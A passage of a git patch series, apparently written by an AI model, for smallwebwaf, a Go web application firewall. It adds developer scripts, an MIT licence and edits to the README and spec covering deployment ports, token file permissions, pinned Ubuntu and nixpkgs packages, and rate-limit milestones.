! -s "$HOME/.nvm/nvm.sh" ]; then + echo "fmt: no yarn; run script/bootstrap first" >&2 + exit 1 + fi + exec bash -c '. "$HOME/.nvm/nvm.sh" && nvm use "$1" >/dev/null && + shift && exec yarn "$@"' bash "$NODE_VERSION" "$@" +} + +main() { + cd "$ROOT" + gofmt -w cmd internal + run_yarn run prettier --write '**/*.md' --tab-width 4 --prose-wrap always +} + +main "$@" diff --git a/script/fmt-check b/script/fmt-check new file mode 100755 index 0000000..52ec452 --- /dev/null +++ b/script/fmt-check @@ -0,0 +1,38 @@ +#!/bin/sh +# script/fmt-check: check formatting (read-only): the Go code with +# gofmt, the Markdown with prettier. +set -eu + +ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" + +# Must match the pin in script/bootstrap. +NODE_VERSION="22.17.0" + +# script/bootstrap installs node and yarn under nvm and leaves neither +# on the PATH of the shell that called it, so resolve the pinned +# toolchain here the way bootstrap's own install step does. nvm is a +# bash script, hence the subshell. +run_yarn() { + if command -v yarn >/dev/null 2>&1; then + exec yarn "$@" + fi + if [ ! -s "$HOME/.nvm/nvm.sh" ]; then + echo "fmt-check: no yarn; run script/bootstrap first" >&2 + exit 1 + fi + exec bash -c '. "$HOME/.nvm/nvm.sh" && nvm use "$1" >/dev/null && + shift && exec yarn "$@"' bash "$NODE_VERSION" "$@" +} + +main() { + cd "$ROOT" + unformatted="$(gofmt -l cmd internal)" + if [ -n "$unformatted" ]; then + echo "fmt-check: gofmt would change:" >&2 + echo "$unformatted" >&2 + exit 1 + fi + run_yarn run prettier --check '**/*.md' --tab-width 4 --prose-wrap always +} + +main "$@" diff --git a/script/install-precommit b/script/install-precommit new file mode 100755 index 0000000..bef6406 --- /dev/null +++ b/script/install-precommit @@ -0,0 +1,16 @@ +#!/bin/sh +# script/install-precommit: install the git pre-commit hook that runs +# script/precommit. Our own extension to scripts-to-rule-them-all. +set -eu + +ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" + +main() { + cd "$ROOT" + hook=".git/hooks/pre-commit" + printf '#!/bin/sh\nset -e\nscript/precommit\n' > .git/hooks/pre-commit + chmod +x .git/hooks/pre-commit + echo "pre-commit hook installed: runs script/precommit" +} + +main "$@" diff --git a/script/lint b/script/lint new file mode 100755 index 0000000..2d8b075 --- /dev/null +++ b/script/lint @@ -0,0 +1,23 @@ +#!/bin/sh +# script/lint: run the linter. Linting is a phase of the Dockerfile and +# this builds that phase alone; the linter is never installed or run on +# a developer host, where a shared result cache and a host-global lock +# make its answer untrustworthy. +# +# The phase is not the last stage in the file, so it is built only when +# --target names it. --no-cache because a cached lint layer is a lint +# that did not run. The tag makes each build replace the previous image +# instead of leaving a dangling one behind. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)" + +main() { + cd "$ROOT" + docker build --no-cache \ + --target lint \ + -t "$("$SCRIPT_DIR/projectname")-lint" . +} + +main "$@" diff --git a/script/precommit b/script/precommit new file mode 100755 index 0000000..c0a7867 --- /dev/null +++ b/script/precommit @@ -0,0 +1,12 @@ +#!/bin/sh +# script/precommit: run by the git pre-commit hook; fails the commit if +# checks fail. Our own extension to scripts-to-rule-them-all. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" + +main() { + "$SCRIPT_DIR/check" +} + +main "$@" diff --git a/script/projectname b/script/projectname new file mode 100755 index 0000000..a822b81 --- /dev/null +++ b/script/projectname @@ -0,0 +1,12 @@ +#!/bin/sh +# script/projectname: output the name of this project. Our own +# extension to scripts-to-rule-them-all. Other scripts that need the +# name (e.g. script/docker) call this, so they can stay identical +# across all repos. +set -eu + +main() { + echo "smallwebwaf" +} + +main "$@" diff --git a/script/run b/script/run new file mode 100755 index 0000000..a64ade2 --- /dev/null +++ b/script/run @@ -0,0 +1,14 @@ +#!/bin/sh +# script/run: build bin/smallwebwaf with script/build and run it, with +# the settings in the environment. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)" + +main() { + "$SCRIPT_DIR/build" + exec "$ROOT/bin/smallwebwaf" +} + +main "$@" diff --git a/script/setup b/script/setup new file mode 100755 index 0000000..4cc5b6b --- /dev/null +++ b/script/setup @@ -0,0 +1,13 @@ +#!/bin/sh +# script/setup: set up the repo for development after a fresh clone: +# installs dependencies and the git pre-commit hook. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" + +main() { + "$SCRIPT_DIR/bootstrap" + "$SCRIPT_DIR/install-precommit" +} + +main "$@" diff --git a/script/test b/script/test new file mode 100755 index 0000000..cd239f2 --- /dev/null +++ b/script/test @@ -0,0 +1,19 @@ +#!/bin/sh +# script/test: run the test suite. Testing is a phase of the Dockerfile +# and this builds that phase alone, on the same terms as script/lint: +# --target because a phase that is not the last stage is built only when +# named, --no-cache because a cached test layer is a test that did not +# run, and a tag so each build replaces the previous image. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)" + +main() { + cd "$ROOT" + docker build --no-cache \ + --target test \ + -t "$("$SCRIPT_DIR/projectname")-test" . +} + +main "$@" diff --git a/yarn.lock b/yarn.lock new file mode 100644 index 0000000..d846639 --- /dev/null +++ b/yarn.lock @@ -0,0 +1,8 @@ +# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. +# yarn lockfile v1 + + +prettier@3.8.1: + version "3.8.1" + resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.8.1.tgz#edf48977cf991558f4fcbd8a3ba6015ba2a3a173" + integrity sha512-UOnG6LftzbdaHZcKoPFtOcCKztrQ57WkHDeRD9t/PTQtmT0NHSeWWepj6pS0z/N7+08BHFDQVUrfmfMRcZwbMg== From 983192ace333def363f7ed9ead8d6f8aa95574c6 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 01:42:43 +0200 Subject: [PATCH 02/64] Deploy model: listen port, token files, state directory owner (closes #33) SWWAF_LISTEN_ADDR may set another port: the health check takes its port from it, and traefik's port label must name the same one. Its address part stays empty (:9000), so smallwebwaf keeps listening on every address, where traefik and the health check on 127.0.0.1 both reach it. A token file is made on the host owned by uid 65532 with mode 0400 and its directory mounted read-only; through upaas, that directory is one of the app's volume mounts. The run script of smallwebwaf makes the state directory and every file in it belong to the smallwebwaf user. Model: opus-5-5 --- README.md | 7 ++++++- SPEC.md | 56 +++++++++++++++++++++++++++++++++++-------------------- 2 files changed, 42 insertions(+), 21 deletions(-) diff --git a/README.md b/README.md index 20b760c..651c23c 100644 --- a/README.md +++ b/README.md @@ -313,7 +313,12 @@ exec chpst -u app:app /usr/local/bin/app \ - Port 8080 is the only one the app must leave free: the health check, the metrics and ban management are all on it, under `/_smallwebwaf/`. The image's health check passes while `smallwebwaf` answers and the app accepts - connections. + connections. `SWWAF_LISTEN_ADDR` can move `smallwebwaf` to another port, which + the app then leaves free instead; the health check follows it, and traefik's + labels must point at it. The address part of `SWWAF_LISTEN_ADDR` stays empty + (for example `:9000`, never `127.0.0.1:9000`), so `smallwebwaf` keeps + listening on every address: traefik reaches it on the container's address, and + the health check on `127.0.0.1`. - `smallwebwaf` keeps its state files in `/var/lib/smallwebwaf`. Mount a volume there to keep bans and client history when a deploy replaces the container; without one, it still starts. diff --git a/SPEC.md b/SPEC.md index 918ed49..729b7ed 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1170,8 +1170,9 @@ The image holds: - The `smallwebwaf` binary, and a user of its own, `smallwebwaf` (uid and gid 65532). - The service directory `/etc/service/smallwebwaf`, whose `run` script waits one - second (`sleep 1`), makes `SWWAF_STATE_DIR` belong to the `smallwebwaf` user, - and starts `smallwebwaf` as that user with runit's `chpst`. + second (`sleep 1`), makes `SWWAF_STATE_DIR` and every file in it belong to the + `smallwebwaf` user, and starts `smallwebwaf` as that user with runit's + `chpst`. - The directory `/var/lib/smallwebwaf` for the state files, and `/etc/smallwebwaf/rules.d` with the default rule file (see "Rule files"). - Port 8080 declared (`EXPOSE 8080`), and the health check described below @@ -1261,18 +1262,24 @@ The two processes: status into its directory under `/etc/service`. The health check: the image's `HEALTHCHECK` passes while `smallwebwaf` answers -`GET /_smallwebwaf/healthz` on `127.0.0.1:8080` and the app accepts connections -at the address in `SWWAF_UPSTREAM_URL`, and fails when either does not. The -container therefore shows as healthy only while both processes are up. An app -with a health check of its own can replace the image's `HEALTHCHECK` with one -that checks both. +`GET /_smallwebwaf/healthz` on `127.0.0.1`, at the port in `SWWAF_LISTEN_ADDR`, +and the app accepts connections at the address in `SWWAF_UPSTREAM_URL`, and +fails when either does not. The container therefore shows as healthy only while +both processes are up. An app with a health check of its own can replace the +image's `HEALTHCHECK` with one that checks both. Ports: `smallwebwaf` listens on port 8080 on every address and on no other port; its health check, metrics and ban management are all on that listener, under -`/_smallwebwaf/` (see "Admin endpoints"). The app must leave port 8080 free. It -listens on `127.0.0.1:8081` only, so that nothing outside the container reaches -it except through `smallwebwaf`: an app that listens on every address can be -reached around `smallwebwaf` by anything that reaches the container. +`/_smallwebwaf/` (see "Admin endpoints"). `SWWAF_LISTEN_ADDR` may set another +port: the image's health check takes its port from that setting, and traefik's +port label (`traefik.http.services..loadbalancer.server.port`) must name +the same port, and the app must leave that port free. The address part of +`SWWAF_LISTEN_ADDR` stays empty (for example `:9000`, never `127.0.0.1:9000`), +so `smallwebwaf` keeps listening on every address: traefik reaches it on the +container's address, and the health check on `127.0.0.1`. The app listens on +`127.0.0.1:8081` only, so that nothing outside the container reaches it except +through `smallwebwaf`: an app that listens on every address can be reached +around `smallwebwaf` by anything that reaches the container. State: `smallwebwaf` keeps its state files in `/var/lib/smallwebwaf` (`SWWAF_STATE_DIR`), a directory of its own beside the app's data, which the app @@ -1280,13 +1287,21 @@ keeps in directories of its own, such as `/var/lib/app`. Without a volume there, the files live in the container: they survive a restart of the container and are lost when a deploy replaces it. A volume mounted at `/var/lib/smallwebwaf`, named or a host directory, keeps them across deploys; the `run` script of -`smallwebwaf` makes it belong to the `smallwebwaf` user, so a host directory -mounted there needs no change of owner. It is a volume of its own, separate from -the app's, holds a few tens of MiB at most with the defaults (see "Persistent -state"), and needs no backup beyond whatever the host already does. The image -declares no volume, since every app image built on it would inherit it. -Milestone 2 (https://git.eeqj.de/sneak/smallwebwaf/issues/14) writes no state -files and needs no volume. +`smallwebwaf` makes it and every file in it belong to the `smallwebwaf` user, so +a host directory mounted there needs no change of owner, and files an earlier +owner left in it can be read and replaced. It is a volume of its own, separate +from the app's, holds a few tens of MiB at most with the defaults (see +"Persistent state"), and needs no backup beyond whatever the host already does. +The image declares no volume, since every app image built on it would inherit +it. Milestone 2 (https://git.eeqj.de/sneak/smallwebwaf/issues/14) writes no +state files and needs no volume. + +Tokens: a token given as a file (`SWWAF_ADMIN_TOKEN_FILE`, +`SWWAF_METRICS_TOKEN_FILE`) is out of the app's reach only while the +`smallwebwaf` user alone can read the file. The operator makes the file on the +host, owned by uid 65532, the `smallwebwaf` user, with mode `0400`, and mounts +the directory that holds it into the container read-only; the container sees the +same owner and mode. Forwarded headers: the app's TCP peer is `smallwebwaf` on `127.0.0.1`, and the `X-Forwarded-For` the app receives ends with traefik's address, which @@ -1305,7 +1320,8 @@ and runs the one container as it runs any app, with the app's traefik labels, environment variables and volumes. The labels route to port 8080 (`traefik.http.services..loadbalancer.server.port=8080`), any `SWWAF_` settings go with the app's environment variables, and the volume for -`/var/lib/smallwebwaf` goes beside the app's own. +`/var/lib/smallwebwaf` goes beside the app's own, as does the directory that +holds any token file. - The endpoints of `smallwebwaf` are reached through traefik like any other request, for example `https://app.example.invalid/_smallwebwaf/metrics` for a @@ -1504,7 +1520,7 @@ settings go with the app's environment variables, and the volume for stops the start. The app starts with the same environment variables as `smallwebwaf`, so it can read a token given as one; a token given as a file that only the `smallwebwaf` user can read (`SWWAF_ADMIN_TOKEN_FILE`, - `SWWAF_METRICS_TOKEN_FILE`) is out of the app's reach. + `SWWAF_METRICS_TOKEN_FILE`) is out of the app's reach (see "Deployment"). - GeoJS, the default lookup source: every new visitor's address goes to a third party, and a swarm of fresh addresses, when lookups peak, is when GeoJS may slow down or block `smallwebwaf`. Keeping answers for 7 days and asking about From 2e35528c628a44da67f3f30884de704a14458f68 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 02:42:56 +0200 Subject: [PATCH 03/64] Settle the open points of the Ubuntu and nixpkgs image (closes #38) ca-certificates, nix-bin and runit come from a dated Ubuntu snapshot no older than the pinned Ubuntu image. The Dockerfile names the SHA-256 hash of each snapshot InRelease file apt uses, and the build checks them before apt-get install, so every package is checked against hashed files. That install uses the Go image's CA certificate file. ca-certificates is installed by name. The image writes build-users-group = to /etc/nix/nix.conf so root can build without a daemon. nixpkgs comes from its release file on releases.nixos.org, checked by SHA-256, and takes about 500 MiB of disk. runsvinit is archived upstream and is built at a fixed commit with a go.mod written for the build. The example run scripts put their code in a main function. Model: opus-5-5 --- README.md | 13 +++++--- SPEC.md | 93 +++++++++++++++++++++++++++++++++++++++++-------------- 2 files changed, 79 insertions(+), 27 deletions(-) diff --git a/README.md b/README.md index 651c23c..b34ec15 100644 --- a/README.md +++ b/README.md @@ -291,10 +291,15 @@ stand for the app's own options: ```bash #!/usr/bin/env bash set -euo pipefail -sleep 1 -exec chpst -u app:app /usr/local/bin/app \ - --listen 127.0.0.1:8081 \ - --trusted-proxies 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.1/32,::1/128 + +main() { + sleep 1 + exec chpst -u app:app /usr/local/bin/app \ + --listen 127.0.0.1:8081 \ + --trusted-proxies 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.1/32,::1/128 +} + +main "$@" ``` - The image's entrypoint, `runsvinit`, has runit start `smallwebwaf` and the app diff --git a/SPEC.md b/SPEC.md index 729b7ed..d1a5f30 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1155,16 +1155,29 @@ The image holds: - Ubuntu 26.04 LTS, the newest long-term support release of Ubuntu, pinned by digest. The image moves to the next LTS release when that ships. +- Three packages from Ubuntu, `ca-certificates`, `nix-bin` and `runit`, + installed from a dated snapshot of Ubuntu's archive and checked by hash (see + "Packages from Ubuntu" below). The Ubuntu image has no CA certificates, and + they come with `nix-bin` only because a library it uses recommends them, so + `ca-certificates` is installed by name. Without it Nix cannot download + packages, and `smallwebwaf`, unable to reach GeoJS, would count every visitor + as coming from an unknown country. - Nix, the package manager, from Ubuntu's own `nix-bin` package, and nixpkgs, the collection of packages Nix installs from, fixed at one commit (see "Packages from nixpkgs" below). Root uses Nix directly, and no Nix daemon runs - in the container. -- runit, from Ubuntu's own `runit` package, and `runsvinit` as the entrypoint. - Neither Ubuntu nor nixpkgs packages `runsvinit`, so the image builds it from - its source (`github.com/peterbourgon/runsvinit`) at a version fixed by hash. - `runsvinit` starts runit's `runsvdir`, which starts a `runsv` for each - directory under `/etc/service`; each `runsv` runs the `run` script in its - directory, and runs it again whenever it exits. Ubuntu's runit looks for + in the container. Nix run by root expects a group of build users, `nixbld`, + which `nix-bin` does not create, so the image writes `build-users-group =` to + `/etc/nix/nix.conf`, and root's builds then run without build users. +- runit, from Ubuntu's own `runit` package, and `runsvinit` as the entrypoint, + as the owner's code style guide asks for service containers. Neither Ubuntu + nor nixpkgs packages `runsvinit`, so the image builds it from its source + (`github.com/peterbourgon/runsvinit`) at a fixed commit hash. Its repository + is archived and has not changed since 2015, and its last tag is `v2.0.0`. It + has no `go.mod`, and `go build` of its directory needs one, so the build + writes one; since `runsvinit` uses only Go's standard library, that file names + nothing else. `runsvinit` starts runit's `runsvdir`, which starts a `runsv` + for each directory under `/etc/service`; each `runsv` runs the `run` script in + its directory, and runs it again whenever it exits. Ubuntu's runit looks for services in `/etc/service` too, so when `docker stop` has `runsvinit` stop each service with runit's `sv`, `sv` finds it. - The `smallwebwaf` binary, and a user of its own, `smallwebwaf` (uid and gid @@ -1179,8 +1192,9 @@ The image holds: (`HEALTHCHECK`). Every `run` script, the app's included, is a bash script that starts with -`#!/usr/bin/env bash` and `set -euo pipefail`, as the owner's code style guide -asks; Ubuntu ships bash. +`#!/usr/bin/env bash` and `set -euo pipefail` and puts its code in a `main` +function, called on its last line, as the owner's code style guide asks; Ubuntu +ships bash. Beyond its `FROM` line, the app's Dockerfile adds: @@ -1219,23 +1233,56 @@ with `app.run` beside the Dockerfile: ```bash #!/usr/bin/env bash set -euo pipefail -sleep 1 -exec chpst -u app:app /usr/local/bin/app \ - --listen 127.0.0.1:8081 \ - --trusted-proxies 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.1/32,::1/128 + +main() { + sleep 1 + exec chpst -u app:app /usr/local/bin/app \ + --listen 127.0.0.1:8081 \ + --trusted-proxies 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.1/32,::1/128 +} + +main "$@" ``` +Packages from Ubuntu: the image installs `ca-certificates`, `nix-bin` and +`runit` from Ubuntu's snapshot service, which serves the archive as it was at a +given moment, rather than from the archive itself, whose packages change with +every update. The image's Dockerfile names that moment, in apt's +`--snapshot 20261001T000000Z` form, on both `apt-get update` and +`apt-get install`. That moment is never earlier than the date of the pinned +Ubuntu image, since packages from an older snapshot can need older versions of +packages the Ubuntu image already holds, and it moves forward whenever that +image's digest does. `apt-get update` keeps the snapshot's `InRelease` files, +which apt checks against the archive's signature, in `/var/lib/apt/lists/`; each +lists the SHA-256 hash of the package lists it covers, and each package list the +hash of every package in it. The Dockerfile also names the SHA-256 hash of each +`InRelease` file apt uses, and the build checks them after `apt-get update` and +before `apt-get install`, so every package apt installs is checked, through +those files, against hashes the Dockerfile names. The snapshot service is +reached over HTTPS, and the Ubuntu image has no CA certificates of its own, so +this one install uses those of the Go image that `smallwebwaf` is built in, +which is pinned by digest too: apt's `Acquire::https::CaInfo` option names that +image's CA certificate file, `/etc/ssl/certs/ca-certificates.crt`, copied into +the build. + Packages from nixpkgs: nixpkgs is fixed at one commit of its newest release -branch, `nixos-26.05` today. The image's Dockerfile names the commit and the -hash of its contents, and the build checks that hash. nixpkgs is set up for root -under the name `nixpkgs`, so the app's Dockerfile installs a package with -`nix-env -iA nixpkgs.`, and whatever it installs is on the `PATH` of every -service. Because nixpkgs stays at that commit, an app built on the same -`smallwebwaf` image gets the same packages each time it is built. A newer commit -of the branch, with its security fixes, comes with a newer `smallwebwaf` image, -as do Ubuntu's own fixes; an app takes them by changing the digest in its `FROM` -line. When nixpkgs makes its next release, every six months, the image moves to -that release's branch. +branch, `nixos-26.05` today. For each commit of the branch that has passed its +tests, the Nix project publishes a release on `releases.nixos.org`, such as +`nixos-26.05.11045.774debe7a0d1`, and the image takes nixpkgs from that +release's file `nixexprs.tar.xz`, not from a GitHub archive of the commit, whose +bytes can change. The image's Dockerfile names the release and the SHA-256 hash +of that file, which the release's page lists, and the build checks the hash +before unpacking it. nixpkgs is set up for root under the name `nixpkgs`, so the +app's Dockerfile installs a package with `nix-env -iA nixpkgs.`, and +whatever it installs is on the `PATH` of every service. Because nixpkgs stays at +that commit, an app built on the same `smallwebwaf` image gets the same packages +each time it is built. Unpacked, nixpkgs takes about 500 MiB of disk, more on +some filesystems such as ZFS, and each package an app installs from it adds its +own size, with everything it depends on. A newer commit of the branch, with its +security fixes, comes with a newer `smallwebwaf` image, as do Ubuntu's own +fixes; an app takes them by changing the digest in its `FROM` line. When nixpkgs +makes its next release, every six months, the image moves to that release's +branch. The two processes: From a399601c778f9ff7d2b141fbd293513ed210f814 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 02:57:24 +0200 Subject: [PATCH 04/64] Settle the spec's open points after milestones 1 and 2 (closes #36) The header size and the idle time stay fixed at their defaults through milestone 2 and become settings in the first stage after it, which also brings SWWAF_ALLOW_NETS and with it the allow-only country list's refusal of private addresses. While a request body is on its way, a request timeout answers 408 or 504 by the side smallwebwaf was waiting on, as milestone 1's code does. The README says the state files, the GeoJS answers among them, come in milestone 3 or later, and points at the build order. Model: opus-5-5 --- README.md | 16 +++++++++++----- SPEC.md | 31 ++++++++++++++++++++++--------- 2 files changed, 33 insertions(+), 14 deletions(-) diff --git a/README.md b/README.md index b34ec15..f715224 100644 --- a/README.md +++ b/README.md @@ -230,7 +230,10 @@ goes through the candidates one by one. answers, the reputation cache, the alerting state) held in memory and kept in readable JSON files, written regularly and at every stop, so a restart loses nothing. Edit a file, or add a rule file, and the running `smallwebwaf` picks - up the change. Nothing is read from disk while serving a request. + up the change. Nothing is read from disk while serving a request. The files + come in milestone 3 or later (see the build order in [`SPEC.md`](SPEC.md)); + until then the rate counters and the GeoJS answers are kept in memory only, + and a restart loses them. - Health checks, the metrics, and listing, adding and lifting bans or asking why a given address was refused, all on the one port every request uses: under `/_smallwebwaf/` on the app's own address, through traefik like any other @@ -349,9 +352,10 @@ GeoJS web service, which needs no account and no file. This means that, by default, the address of every new visitor is sent to GeoJS. Each answer is kept in memory for seven days, and many addresses are asked about in one request; writing the answers to disk, so that they survive a restart, comes in milestone -3 or later. GeoJS publishes no rate limit but may block a caller it thinks asks -too much; while it is not answering, new visitors count as coming from an -unknown country, which `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses. +3 or later (see the build order in [`SPEC.md`](SPEC.md)). GeoJS publishes no +rate limit but may block a caller it thinks asks too much; while it is not +answering, new visitors count as coming from an unknown country, which +`SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses. To keep your visitors' addresses on your own host, set `SWWAF_LOOKUP_SOURCE=off`, or use the database file instead of GeoJS: @@ -373,7 +377,9 @@ that link. Neither source can place a private address, so a client on one, such as a visitor on your local network, another container or your monitoring, has no country: `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless you list it in -`SWWAF_ALLOW_NETS`. Such addresses are never sent to GeoJS. +`SWWAF_ALLOW_NETS`. Such addresses are never sent to GeoJS. In milestone 2, +which has no `SWWAF_ALLOW_NETS`, neither country list checks such a client; the +refusal comes with `SWWAF_ALLOW_NETS` in milestone 3 or later. ## How the code is laid out diff --git a/SPEC.md b/SPEC.md index d1a5f30..3020a65 100644 --- a/SPEC.md +++ b/SPEC.md @@ -437,6 +437,13 @@ The settings, by group: an app that is too slow. A request that announces a body larger than its limit is refused before anything reaches the app. Once the response has started it can only be cut off, and the connection is closed. + - Since a request body streams through, each side can hold up the other: a + slow client slows the send to the app, and an app slow to take the body + slows the client's send. So while a request body is still on its way, a + request timeout that runs out, `SWWAF_CLIENT_REQUEST_TIMEOUT` or + `SWWAF_UPSTREAM_REQUEST_TIMEOUT`, answers `408` if `smallwebwaf` was + waiting for the client to send more at that moment, and `504` if it was + waiting for the app to take what it had. - Go's HTTP server, on which `smallwebwaf` is built, reads a request's line and headers before `smallwebwaf` sees the request. A client that takes longer than `SWWAF_CLIENT_REQUEST_TIMEOUT` to send them gets no answer: @@ -1392,12 +1399,13 @@ holds any token file. taking more than 60 seconds is cut off, whether it is a git push, an LFS object, a container image layer, a package file or a release attachment. The client is answered `413` for a body that is too large, before anything - reaches gitea when the request announces its size, or `408` for one that - is too slow; the upload fails, and no one is banned for it. A gitea that - takes large uploads needs `SWWAF_REQUEST_MAX_BYTES`, - `SWWAF_CLIENT_REQUEST_TIMEOUT` and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` raised - to fit. The Core Rule Set does not read an upload's body, which streams - through without being held in memory. + reaches gitea when the request announces its size, or `408` for one the + client sends too slowly (`504` if gitea is too slow to take it); the + upload fails, and no one is banned for it. A gitea that takes large + uploads needs `SWWAF_REQUEST_MAX_BYTES`, `SWWAF_CLIENT_REQUEST_TIMEOUT` + and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` raised to fit. The Core Rule Set does + not read an upload's body, which streams through without being held in + memory. - At the defaults (see "Configuration surface", attack detection), the Core Rule Set lets gitea's ordinary use through, apart from the refusals in the next note: browsing and views of files in a repository, with their @@ -1596,16 +1604,21 @@ holds any token file. only while a list is set. A client on a private, loopback or link-local address has no country, and neither list checks it. - Like milestone 1, it writes nothing to disk: the GeoJS answers and the - rate counters are kept in memory only, and a restart loses them. + rate counters are kept in memory only, and a restart loses them. The + header size and the idle time stay fixed at their defaults. - The container image described under "Deployment", with runit and the container's health check. The health check calls `/_smallwebwaf/healthz`, so milestone 2 answers that path, although the other admin endpoints come later. -- After milestone 2, the rest of the design, in this order: +- Milestone 3 and later: the rest of the design, in this order: - static lists, the bans that broken request limits lead to, the ban ledger and the JSON state files with edits taken in while running, exemptions, `observe` mode, the rest of the request log's fields, the metrics - endpoint; + endpoint, and the header size and the idle time as settings + (`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_CLIENT_IDLE_TIMEOUT`). + With the static lists comes `SWWAF_ALLOW_NETS`, and from then on + `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses a client on a private, + loopback or link-local address unless `SWWAF_ALLOW_NETS` lists it; - rule files, the other admin endpoints, alerting to all three destinations, remote log sending; - AS number and country lookup for every client, from the file or GeoJS, From bedd324f3cd503ae78375a3631a1b42907dd8498 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 03:07:52 +0200 Subject: [PATCH 05/64] Add the MIT licence (closes #15) LICENSE with the MIT text, the README naming MIT in its opening line and a License section, and the licence field in package.json. Model: opus-5-5 --- LICENSE | 21 +++++++++++++++++++++ README.md | 24 ++++++++++++++---------- package.json | 1 + 3 files changed, 36 insertions(+), 10 deletions(-) create mode 100644 LICENSE diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..34edefe --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 sneak + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index f715224..8fd4941 100644 --- a/README.md +++ b/README.md @@ -1,14 +1,15 @@ # smallwebwaf -`smallwebwaf` is a simple, fast, logging web application firewall, written in Go -by [@sneak](https://sneak.berlin), for people who host their own services. It -runs inside the container of the one application it protects, between your -reverse proxy (traefik) and the app: the app's Dockerfile builds `FROM` the -`smallwebwaf` image, traefik sends the app's requests to `smallwebwaf` on port -8080, and `smallwebwaf` passes them on to the app on `127.0.0.1:8081`. It needs -no setting, and protects the app from the first request with defaults chosen for -a service on the open internet. It keeps its state in memory and in JSON files -you can read and edit, and writes a detailed JSON log line for every request. +`smallwebwaf` is a simple, fast, logging web application firewall, MIT-licensed +and written in Go by [@sneak](https://sneak.berlin), for people who host their +own services. It runs inside the container of the one application it protects, +between your reverse proxy (traefik) and the app: the app's Dockerfile builds +`FROM` the `smallwebwaf` image, traefik sends the app's requests to +`smallwebwaf` on port 8080, and `smallwebwaf` passes them on to the app on +`127.0.0.1:8081`. It needs no setting, and protects the app from the first +request with defaults chosen for a service on the open internet. It keeps its +state in memory and in JSON files you can read and edit, and writes a detailed +JSON log line for every request. Status: the first milestone is built (https://git.eeqj.de/sneak/smallwebwaf/issues/13). `smallwebwaf` passes each @@ -431,7 +432,6 @@ so that they run in minimal containers. - Milestone 2: rate limits per client, the country lists and the image an app builds on (https://git.eeqj.de/sneak/smallwebwaf/issues/14). -- The licence (https://git.eeqj.de/sneak/smallwebwaf/issues/15). - The rest of the design, in the order of the build order in [`SPEC.md`](SPEC.md). @@ -442,6 +442,10 @@ so that they run in minimal containers. and misses, and why none was adopted. - [`REPO_POLICIES.md`](REPO_POLICIES.md): the policies this repository follows. +## License + +MIT. See [`LICENSE`](LICENSE). + ## Author [@sneak](https://sneak.berlin) diff --git a/package.json b/package.json index dc05cde..d846c06 100644 --- a/package.json +++ b/package.json @@ -1,4 +1,5 @@ { + "license": "MIT", "devDependencies": { "prettier": "3.8.1" } From f51459fbfe2ac1ecfc64bd2e35e39103a198088a Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 04:24:34 +0200 Subject: [PATCH 06/64] Per-client request rate limits over a minute, an hour and a day (closes #43) Each client, one IPv4 address or one IPv6 /64, is counted in two buckets per window, the earlier weighted by how much of it the window covers; at most 20,000 clients are kept, least recently seen dropped first. A request over SWWAF_RATE_LIMIT_PER_MINUTE, _HOUR or _DAY (1000, 10000, 50000, or off) gets 429 before reaching the app. Refused requests count, 413s included. A clock set back over a second behind a bucket's start restarts that window. The log line gains limit_hit and the action rate_limited. Deviation from SPEC.md, per the issue: the 20,000 bound and /64 are fixed. Judgement call: golang-lru/v2 holds the table; httprate does not count refused requests. Deviation: go.mod and 